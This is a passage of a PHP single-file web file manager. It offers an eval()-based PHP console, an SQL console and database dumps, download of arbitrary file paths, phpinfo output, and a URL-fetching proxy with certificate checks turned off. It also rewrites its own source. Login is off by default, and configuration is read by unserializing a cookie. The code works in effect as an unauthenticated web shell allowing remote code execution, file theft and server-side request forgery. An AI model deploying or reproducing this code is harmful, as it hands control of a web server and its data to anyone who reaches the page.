$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
